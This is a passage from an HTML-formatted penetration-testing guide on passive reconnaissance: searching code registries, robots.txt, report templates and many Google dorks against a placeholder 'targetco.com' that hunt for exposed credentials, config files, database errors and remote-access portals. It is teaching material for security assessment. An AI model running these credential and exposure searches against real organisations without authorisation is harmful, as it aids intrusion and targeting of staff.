&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-100&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Public Code Repositories — Beyond GitHub
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub (Primary)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Largest code repository hosting platform&lt;/li&gt;
&lt;li&gt;High probability of finding target-related code&lt;/li&gt;
&lt;li&gt;Covered comprehensively in Section 3.1.11&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;GitLab (Public Instances)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:gitlab.com &lt;span class="s2"&gt;"targetco"&lt;/span&gt;
site:gitlab.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Bitbucket&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:bitbucket.org &lt;span class="s2"&gt;"targetco"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SourceForge&lt;/strong&gt;&lt;br&gt;
Older open source projects may be hosted here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:sourceforge.net &lt;span class="s2"&gt;"targetco"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;npm (Node Package Manager)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;JavaScript developers frequently publish packages to npm that contain internal organizational references:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search npm for organization-related packages&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://registry.npmjs.org/-/v1/search?text=targetco&amp;amp;size=50"&lt;/span&gt;

&lt;span class="c"&gt;# Examine package.json files in found packages for:&lt;/span&gt;
&lt;span class="c"&gt;# - Internal API URLs&lt;/span&gt;
&lt;span class="c"&gt;# - Organization names&lt;/span&gt;
&lt;span class="c"&gt;# - Developer email addresses&lt;/span&gt;
&lt;span class="c"&gt;# - Internal tool dependencies&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PyPI (Python Package Index)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search PyPI for organization-related packages&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://pypi.org/pypi/targetco-sdk/json"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Docker Hub&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Docker images often contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application configurations&lt;/li&gt;
&lt;li&gt;Environment variable templates&lt;/li&gt;
&lt;li&gt;Internal tool references&lt;/li&gt;
&lt;li&gt;Default credentials (a significant security risk)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search Docker Hub for organization images&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://hub.docker.com/v2/search/repositories/?query=targetco"&lt;/span&gt;

&lt;span class="c"&gt;# Pull and examine layers of a public image (active — use with caution)&lt;/span&gt;
docker pull targetco/public-app
docker &lt;span class="nb"&gt;history &lt;/span&gt;targetco/public-app
docker inspect targetco/public-app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  robots.txt and sitemap.xml
&lt;/h4&gt;

&lt;p&gt;These files are designed to guide search engine crawlers but inadvertently reveal application structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;robots.txt:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://targetco.com/robots.txt

&lt;span class="c"&gt;# Example output:&lt;/span&gt;
User-agent: &lt;span class="k"&gt;*&lt;/span&gt;
Disallow: /admin/
Disallow: /internal/
Disallow: /api/v2/
Disallow: /staging/
Disallow: /backup/
Disallow: /config/
Disallow: /phpMyAdmin/
Disallow: /wp-admin/
Sitemap: https://www.targetco.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every &lt;code&gt;Disallow&lt;/code&gt; entry is a path the organization does NOT want crawled — which is exactly the list of paths most interesting to a penetration tester.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;sitemap.xml:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://targetco.com/sitemap.xml

&lt;span class="c"&gt;# May reveal:&lt;/span&gt;
&lt;span class="c"&gt;# - Complete URL structure of the website&lt;/span&gt;
&lt;span class="c"&gt;# - API documentation pages&lt;/span&gt;
&lt;span class="c"&gt;# - Admin functionality pages&lt;/span&gt;
&lt;span class="c"&gt;# - Application module names&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.18 Finding Out About the Organization — Aggregation Techniques
&lt;/h3&gt;

&lt;p&gt;At this stage of passive reconnaissance, the goal is to aggregate all collected intelligence into a coherent, actionable intelligence picture. This synthesis phase is what separates basic reconnaissance from professional intelligence analysis.&lt;/p&gt;

&lt;h4&gt;
  
  
  Intelligence Aggregation Framework
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The Target Intelligence Report Structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== PASSIVE RECONNAISSANCE REPORT: TARGET COMPANY INC. ===
Engagement: [Engagement Reference]
Date: [Date]
Analyst: [Name]
Classification: CONFIDENTIAL — Client Eyes Only

1. ORGANIZATIONAL OVERVIEW
   1.1 Corporate Structure
   1.2 Key Personnel
   1.3 Physical Locations
   1.4 Business Lines and Products

2. TECHNICAL INFRASTRUCTURE
   2.1 Domain Portfolio
   2.2 IP Address Space and ASN
   2.3 External Facing Services
   2.4 Cloud Services Identified
   2.5 Technology Stack

3. EMAIL AND COMMUNICATION INFRASTRUCTURE
   3.1 Email Provider
   3.2 Email Security Posture (SPF/DKIM/DMARC)
   3.3 Confirmed Email Addresses

4. PERSONNEL INTELLIGENCE
   4.1 Key Technical Personnel
   4.2 Security Team Members
   4.3 Email Format
   4.4 Social Engineering Attack Vectors

5. EXPOSURE INTELLIGENCE
   5.1 Breach History
   5.2 Leaked Credentials
   5.3 Reputation Assessment
   5.4 Dark Web Presence

6. HISTORICAL INTELLIGENCE
   6.1 Legacy Systems and Paths
   6.2 Technology Transitions
   6.3 Historical IP Addresses

7. VULNERABILITY INDICATORS
   7.1 SSL/TLS Weaknesses
   7.2 Subdomain Takeover Candidates
   7.3 Shadow IT Identified
   7.4 Unmanaged Assets

8. ATTACK SURFACE MAP
   8.1 Priority Targets (High)
   8.2 Priority Targets (Medium)
   8.3 Social Engineering Targets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Organizational Intelligence Sources
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Annual Reports and Investor Relations:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Public companies publish annual reports (10-K in the US) that contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detailed business unit descriptions&lt;/li&gt;
&lt;li&gt;Risk factors (explicitly naming IT dependencies and security risks)&lt;/li&gt;
&lt;li&gt;Employee count by region&lt;/li&gt;
&lt;li&gt;Subsidiary and acquisition information&lt;/li&gt;
&lt;li&gt;IT spending disclosures&lt;/li&gt;
&lt;li&gt;Named executive officers
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SEC EDGAR for US public company filings&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://efts.sec.gov/LATEST/search-index?q=%22Target+Company%22&amp;amp;dateRange=custom&amp;amp;startdt=2023-01-01&amp;amp;enddt=2024-12-31&amp;amp;forms=10-K"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Press Releases and News:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search news archives&lt;/span&gt;
site:prnewswire.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
site:businesswire.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
site:globenewswire.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;

&lt;span class="c"&gt;# Google News&lt;/span&gt;
site:news.google.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; technology
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Conference Presentations and Academic Papers:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Employees frequently present at conferences (RSA, DEF CON, Black Hat, AWS re:Invent) revealing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Specific technologies and architectures&lt;/li&gt;
&lt;li&gt;Security challenges and solutions implemented&lt;/li&gt;
&lt;li&gt;Vendor relationships
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search for conference presentations&lt;/span&gt;
site:slideshare.net &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; 2023
site:speakerdeck.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; site:youtube.com conference presentation 2024
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.19 Advanced Searches — Google Dorking and Beyond
&lt;/h3&gt;

&lt;p&gt;Google Dorking (also known as Google Hacking) uses advanced Google search operators to find information that is technically public but not easily discovered through normal search.&lt;/p&gt;

&lt;h4&gt;
  
  
  Google Search Operators — Complete Reference
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operator&lt;/th&gt;
&lt;th&gt;Syntax&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:targetco.com filetype:pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Search within specific domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;filetype:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;filetype:ext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:targetco.com filetype:xlsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Find specific file types&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;intitle:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;intitle:keyword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;intitle:"index of" site:targetco.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pages with keyword in title&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;inurl:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;inurl:keyword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;inurl:admin site:targetco.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pages with keyword in URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;intext:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;intext:keyword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;intext:"confidential" site:targetco.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pages with keyword in body&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cache:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cache:url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cache:targetco.com/employees&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google's cached version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;link:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;link:url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;link:targetco.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pages linking to target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;related:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;related:url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;related:targetco.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Websites similar to target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;"..."&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;"exact phrase"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;"Target Company" "database password"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exact phrase match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-keyword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:targetco.com -www&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exclude keyword&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;"targetco * password"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wildcard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;OR&lt;/code&gt; / `\&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;td&gt;&lt;code&gt;term1 OR term2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;"targetco.com" password OR credential&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AND&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;term1 AND term2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:targetco.com AND intext:password&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Boolean AND&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;before:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;before:YYYY-MM-DD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:targetco.com before:2020-01-01&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Results before date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;after:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;after:YYYY-MM-DD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;site:targetco.com after:2023-01-01&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Results after date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;numrange:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;numrange:N-M&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;targetco.com numrange:1-65535&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Numeric range&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  The Google Hacking Database (GHDB)
&lt;/h4&gt;

&lt;p&gt;The GHDB, maintained by Exploit-DB, contains thousands of tested Google dorks organized by category. Every serious penetration tester references the GHDB regularly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.exploit-db.com/google-hacking-database" rel="noopener noreferrer"&gt;https://www.exploit-db.com/google-hacking-database&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GHDB Categories:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Footholds (login portals, admin interfaces)&lt;/li&gt;
&lt;li&gt;Files Containing Usernames&lt;/li&gt;
&lt;li&gt;Sensitive Directories&lt;/li&gt;
&lt;li&gt;Web Server Detection&lt;/li&gt;
&lt;li&gt;Vulnerable Files&lt;/li&gt;
&lt;li&gt;Vulnerable Servers&lt;/li&gt;
&lt;li&gt;Error Messages&lt;/li&gt;
&lt;li&gt;Files Containing Juicy Info&lt;/li&gt;
&lt;li&gt;Files Containing Passwords&lt;/li&gt;
&lt;li&gt;Sensitive Online Shopping Info&lt;/li&gt;
&lt;li&gt;Network or Vulnerability Data&lt;/li&gt;
&lt;li&gt;Pages Containing Login Portals&lt;/li&gt;
&lt;li&gt;Various Online Devices&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  High-Value Google Dorks for Penetration Testing
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Finding Login Portals:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com intitle:&lt;span class="s2"&gt;"login"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"sign in"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/login"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/admin"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/portal"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/wp-admin"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/cpanel"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/webmail"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/owa"&lt;/span&gt;   &lt;span class="c"&gt;# Outlook Web Access&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/citrix"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/vpn"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/remote"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/sslvpn"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding Exposed Files:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com filetype:pdf
site:targetco.com filetype:docx
site:targetco.com filetype:xlsx &lt;span class="s2"&gt;"confidential"&lt;/span&gt;
site:targetco.com filetype:txt &lt;span class="s2"&gt;"password"&lt;/span&gt;
site:targetco.com filetype:log
site:targetco.com filetype:bak   &lt;span class="c"&gt;# Backup files&lt;/span&gt;
site:targetco.com filetype:sql   &lt;span class="c"&gt;# Database dumps&lt;/span&gt;
site:targetco.com filetype:conf  &lt;span class="c"&gt;# Configuration files&lt;/span&gt;
site:targetco.com filetype:config
site:targetco.com filetype:env   &lt;span class="c"&gt;# Environment files&lt;/span&gt;
site:targetco.com filetype:xml inurl:config
site:targetco.com filetype:yml   &lt;span class="c"&gt;# YAML config files&lt;/span&gt;
site:targetco.com filetype:json  &lt;span class="c"&gt;# JSON config files (often API keys)&lt;/span&gt;
site:targetco.com filetype:ini   &lt;span class="c"&gt;# Windows config files&lt;/span&gt;
site:targetco.com filetype:php inurl:config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding Sensitive Information:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com &lt;span class="s2"&gt;"index of /"&lt;/span&gt;
site:targetco.com &lt;span class="s2"&gt;"parent directory"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"index of"&lt;/span&gt; passwd
site:targetco.com intitle:&lt;span class="s2"&gt;"index of"&lt;/span&gt; &lt;span class="s2"&gt;".htpasswd"&lt;/span&gt;
site:targetco.com &lt;span class="s2"&gt;"powered by"&lt;/span&gt; inurl:admin
site:targetco.com intext:&lt;span class="s2"&gt;"sql syntax near"&lt;/span&gt;   &lt;span class="c"&gt;# SQL error messages&lt;/span&gt;
site:targetco.com intext:&lt;span class="s2"&gt;"MySQL server version"&lt;/span&gt;  &lt;span class="c"&gt;# MySQL errors&lt;/span&gt;
site:targetco.com intext:&lt;span class="s2"&gt;"Warning: mysql_fetch_array()"&lt;/span&gt;  &lt;span class="c"&gt;# PHP MySQL errors&lt;/span&gt;
site:targetco.com intext:&lt;span class="s2"&gt;"ORA-00933"&lt;/span&gt;   &lt;span class="c"&gt;# Oracle errors&lt;/span&gt;
site:targetco.com intext:&lt;span class="s2"&gt;"Traceback (most recent call last)"&lt;/span&gt;  &lt;span class="c"&gt;# Python errors&lt;/span&gt;
site:targetco.com &lt;span class="s2"&gt;"Exception Details"&lt;/span&gt; &lt;span class="s2"&gt;"Stack Trace"&lt;/span&gt;  &lt;span class="c"&gt;# .NET exceptions&lt;/span&gt;
site:targetco.com &lt;span class="s2"&gt;"JDBC"&lt;/span&gt; &lt;span class="s2"&gt;"SQLException"&lt;/span&gt;   &lt;span class="c"&gt;# Java database errors&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding Exposed Credentials:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com &lt;span class="s2"&gt;"password"&lt;/span&gt; filetype:txt
site:targetco.com &lt;span class="s2"&gt;"pwd="&lt;/span&gt; filetype:txt
&lt;span class="s2"&gt;"@targetco.com"&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt;   &lt;span class="c"&gt;# Searching all of web for org email + password&lt;/span&gt;
&lt;span class="s2"&gt;"@targetco.com"&lt;/span&gt; filetype:xls &lt;span class="s2"&gt;"password"&lt;/span&gt;  &lt;span class="c"&gt;# Spreadsheets with passwords&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; &lt;span class="s2"&gt;"api_key"&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; &lt;span class="s2"&gt;"secret"&lt;/span&gt;
site:pastebin.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding Network Equipment and Infrastructure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com intitle:&lt;span class="s2"&gt;"router"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"cisco"&lt;/span&gt; &lt;span class="s2"&gt;"login"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"FortiGate"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"NetScreen"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"SonicWALL"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"pfSense"&lt;/span&gt;
site:targetco.com &lt;span class="s2"&gt;"Cisco Systems"&lt;/span&gt; intitle:&lt;span class="s2"&gt;"login"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding Exposed Development Environments:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com inurl:dev
site:targetco.com inurl:staging
site:targetco.com inurl:test
site:targetco.com inurl:qa
site:targetco.com inurl:uat   &lt;span class="c"&gt;# User Acceptance Testing&lt;/span&gt;
site:targetco.com inurl:demo
site:targetco.com inurl:beta
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding Remote Access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com inurl:&lt;span class="s2"&gt;"/remote"&lt;/span&gt; intitle:&lt;span class="s2"&gt;"Remote Desktop"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"Citrix Gateway"&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"SSL VPN"&lt;/span&gt;
site:targetco.com inurl:&lt;span class="s2"&gt;"/RDWeb"&lt;/span&gt;  &lt;span class="c"&gt;# Remote Desktop Web Access&lt;/span&gt;
site:targetco.com intitle:&lt;span class="s2"&gt;"VMware Horizon"&lt;/span&gt;  &lt;span class="c"&gt;# VMware VDI&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Beyond Google — Other Search Engine Dorking
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Bing Dorks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bing sometimes indexes content that Google does not, particularly from newer or smaller sites.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com filetype:pdf
ip:203.0.113.50   &lt;span class="c"&gt;# Bing: all pages on this IP (no Google equivalent)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DuckDuckGo:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.com inurl:admin
&lt;span class="c"&gt;# DuckDuckGo also has a Bing-powered index with slightly different coverage&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Yandex (for Russian and Eastern European targets):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:targetco.ru
host:targetco.ru
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.20 Open-Source Intelligence (OSINT) Gathering — Frameworks and Automation
&lt;/h3&gt;

&lt;p&gt;This section consolidates the methodology, frameworks, and advanced automation tools used by senior penetration testers and intelligence analysts for comprehensive OSINT campaigns.&lt;/p&gt;

&lt;h4&gt;
  
  
  The OSINT Framework in Practice
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://osintframework.com/" rel="noopener noreferrer"&gt;https://osintframework.com/&lt;/a&gt;  &lt;/p&gt;

&lt;p&gt;The OSINT Framework is not just a list of tools — it is a structured intelligence methodology translated into an interactive reference. Professional use of OSINT Framework involves:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Identify starting data points&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Organization name&lt;/li&gt;
&lt;li&gt;Domain name&lt;/li&gt;
&lt;li&gt;IP address&lt;/li&gt;
&lt;li&gt;Email address&lt;/li&gt;
&lt;li&gt;Employee names&lt;/li&gt;
&lt;li&gt;Phone numbers&lt;/li&gt;
